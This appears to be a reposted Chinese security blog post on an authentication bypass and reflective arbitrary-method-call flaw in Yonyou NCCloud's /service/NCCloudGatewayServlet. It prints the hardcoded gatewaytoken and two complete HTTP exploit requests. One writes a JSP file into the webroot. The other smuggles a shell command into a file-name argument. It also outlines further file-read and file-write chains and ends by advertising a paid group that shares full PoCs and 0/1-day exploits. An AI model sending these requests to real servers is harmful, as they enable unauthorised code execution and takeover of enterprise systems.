旧洞不死:/service/NCCloudGatewayServlet旧洞新利用

admin 2026-03-12 22:34:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析用友NCCloudNCCloudGatewayServlet接口的权限绕过与任意方法调用漏洞。攻击者利用可解密的gatewaytoken绕过认证,结合反射机制调用后端组件方法实现RCE。文章复现了文件写入与命令执行等公开POC,并提出根据UPM配置文件探测新攻击链的思路,以适配不同环境差异。文末附付费圈子推广。 综合评分: 72 文章分类: 漏洞分析,渗透测试,漏洞POC


cover_image

旧洞不死:/service/NCCloudGatewayServlet 旧洞新利用

原创

跟着斯叔唠安全 跟着斯叔唠安全

跟着斯叔唠安全

2026年3月12日 14:30 新加坡

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1

Start

该漏洞原理就为权限绕过+任意方法调用,但调用的类为已添加的组件,可参考*.upm 文件中配置的内容,但目标环境与本地代码可能不一样,故需要进行尝试

2

Action

原理分析

(新利用的路径跟老洞是类似的,所以直接拷贝的其他师傅的相关漏洞分析过程~)

先来看权限绕过部分,根据堆栈报错信息直接定位至com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW.doAction,从 header 头中获取gatewaytoken 的值,随后进行校验

com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayToken

解密密文得到TJ6RT-3FVCB-DPYP8-XF7QM-96FV3

以上就是权限绕过部分,下面是反射调用的内容

com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#callNCService

参数动态解析:它会遍历serviceMethodArgInfo数组,根据isAgg、isArray、isPrimitive等标志,通过反射(Class.forName)动态地创建出任意类型的Java对象或数组,作为后续方法调用的参数。

初次调用没有获取到对应方法,继续查询所有方法,找到方法参数长度相同的进行调用

这里由于调试环境未搭建成功,故无法直观的看到NCLocator.getInstance()中有哪些类可以调用,但经过测试发现可通过*.upm 文件进行查看

漏洞利用

已公开的 POC

文件写

POST /service/NCCloudGatewayServlet HTTP/1.1Host: xxxAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Cache-Control: max-age=0gatewaytoken:TJ6RT-3FVCB-DPYP8-XF7QM-96FV3Content-Type: application/json
{    "groupCode": "1002",    "user": "1002",    "serviceInfo": {    "serviceClassName": "nc.itf.uap.pfxx.IPFxxFileService",    "serviceMethodName": "writeDocToXMLFile",    "serviceMethodArgInfo": [      {"argType": {"body": "java.lang.Byte"        },"argValue": {"body": [60, 37, 32, 111, 117, 116, 46, 112, 114, 105, 110, 116, 108, 110, 40, 34, 86, 85, 76, 78, 69, 82, 65, 66, 76, 69, 34, 41, 59, 32, 37, 62]        },"agg": false,"isArray": true,"isPrimitive": true      },      {"argType": {"body": "java.lang.String"        },"argValue": {"body": "./webapps/u8c_web/tes44.jsp"        },"agg": false,"isArray": false,"isPrimitive": false      }    ]  }}

无回显命令执行

POST /service/NCCloudGatewayServlet HTTP/1.1Host: xxxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=05D49C795741FFFB6837820E5DDF6BFB.serverCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Type: application/x-www-form-urlencodedgatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
{"serviceInfo": {"serviceClassName": "com.ufida.zior.console.IActionInvokeService","serviceMethodName": "exec","serviceMethodArgInfo": [      {"agg": false,"isArray": false,"isPrimitive": true,"argType": { "body": "java.lang.String" },"argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" }      },      {"agg": false,"isArray": false,"isPrimitive": true,"argType": { "body": "java.lang.String" },"argValue": { "body": "openFile" }      },      {"agg": false,"isArray": false,"isPrimitive": false,"argType": { "body": "java.lang.String" },"argValue": {"body": "test.txt\" | calc;\""        }      }    ]  }}

新的攻击链

每个用友的环境可能都不一样,所以存在的类可能也不一样,可通过服务端响应结果进行判断

读文件-1

读目录-2

写文件-3

3

End

🚀 新圈子上线 | 高质量安全内容持续更新中!

我最近在纷传上建立了一个全新的安全技术圈子,主要聚焦于 WEB安全、APP安全、代码审计、漏洞分享* 等核心方向。目前圈子刚刚建立,内容还不算多,但会持续高频更新*,只分享真正有价值、有深度的干货文章。

📚 圈子中包含:

  • 高质量原创或精选的安全技术文章
  • 公众号历史付费内容免费查看(如:小程序RPC、APP抓包解决方案)
  • 一些只在圈子内分享的独家思路和实战经验
  • 不定期分享0/1day

文章中涉及的完整POC及代码审计报告已上传至纷传圈子中,需要的师傅可以自取哈


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:跟着斯叔唠安全 跟着斯叔唠安全 跟着斯叔唠安全《旧洞不死:/service/NCCloudGatewayServlet 旧洞新利用》

评论:0   参与:  0